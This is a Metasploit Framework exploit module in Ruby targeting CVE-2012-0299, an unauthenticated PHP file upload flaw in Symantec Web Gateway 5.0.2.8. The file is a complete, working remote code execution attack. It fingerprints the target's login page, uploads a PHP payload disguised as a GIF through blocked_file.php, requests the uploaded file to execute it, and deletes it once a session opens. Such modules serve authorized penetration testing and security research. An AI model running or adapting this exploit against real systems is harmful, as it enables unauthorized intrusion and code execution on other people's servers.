##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Symantec Web Gateway 5.0.2.8 Arbitrary PHP File Upload Vulnerability",
   'Description'    => %q{
     This module exploits a file upload vulnerability found in Symantec Web Gateway's
    HTTP service. Due to the incorrect use of file extensions in the upload_file()
    function, this allows us to abuse the spywall/blocked_file.php file in order to
    upload a malicious PHP file without any authentication, which results in arbitrary
    code execution.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Tenable Network Security', # Vulnerability Discovery
     'juan vazquez' # Metasploit module
    ],
   'References'     =>
    [
     [ 'CVE', '2012-0299' ],
     [ 'OSVDB', '82025' ],
     [ 'BID', '53443' ],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-091' ],
     [ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00' ]
    ],
   'Payload'        =>
    {
     'BadChars' => "\x00"
    },
   'DefaultOptions'  =>
    {
     'ExitFunction' => "none"
    },
   'Platform'       => ['php'],
   'Arch'           => ARCH_PHP,
   'Targets'        =>
    [
     ['Symantec Web Gateway 5.0.2.8', {}],
    ],
   'Privileged'     => false,
   'DisclosureDate' => "May 17 2012",
   'DefaultTarget'  => 0))
 end

 def check
  res = send_request_raw({
   'method' => 'GET',
   'uri'    => '/spywall/login.php'
  })

  if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/
   return Exploit::CheckCode::Detected
  else
   return Exploit::CheckCode::Safe
  end
 end

 def on_new_session(client)
  if client.type == "meterpreter"
   client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
   client.fs.file.rm("temp.php")
  else
   client.shell_command_token("rm temp.php")
  end
 end

 def exploit
  uri = target_uri.path
  uri << '/' if uri[-1,1] != '/'

  peer = "#{rhost}:#{rport}"
  payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php'
  before_filename = rand_text_alpha(rand(10) + 5)
  after_filename = rand_text_alpha(rand(10) + 5)

  post_data = Rex::MIME::Message.new
  post_data.add_part("true", nil, nil, "form-data; name=\"submitted\"")
  post_data.add_part(before_filename, "application/octet-stream", nil, "form-data; name=\"before_filename\"")
  post_data.add_part(after_filename, "application/octet-stream", nil, "form-data; name=\"after_filename\"")
  post_data.add_part("<?php #{payload.encoded} ?>", "image/gif", nil, "form-data; name=\"new_image\"; filename=\"#{payload_name}\"")

  print_status("#{peer} - Sending PHP payload (#{payload_name})")
  res = send_request_cgi({
   'method' => 'POST',
   'uri'    => "#{uri}spywall/blocked_file.php",
   'ctype'  => "multipart/form-data; boundary=#{post_data.bound}",
   'data'   => post_data.to_s
  })

  # If the server returns 200 and the body contains the name
  # of the default file, we assume we uploaded the malicious
  # file successfully
  if not res or res.code != 200 or res.body !~ /temp.php/
   print_error("#{peer} - File wasn't uploaded, aborting!")
   return
  end

  print_status("#{peer} - Executing PHP payload (#{payload_name})")
  # Execute our payload
  res = send_request_cgi({
   'method' => 'GET',
   'uri'    => "#{uri}spywall/images/upload/temp/temp.php"
  })

  # If we don't get a 200 when we request our malicious payload, we suspect
  # we don't have a shell, either.  Print the status code for debugging purposes.
  if res and res.code != 200
   print_status("#{peer} - Server returned #{res.code.to_s}")
  end
 end

end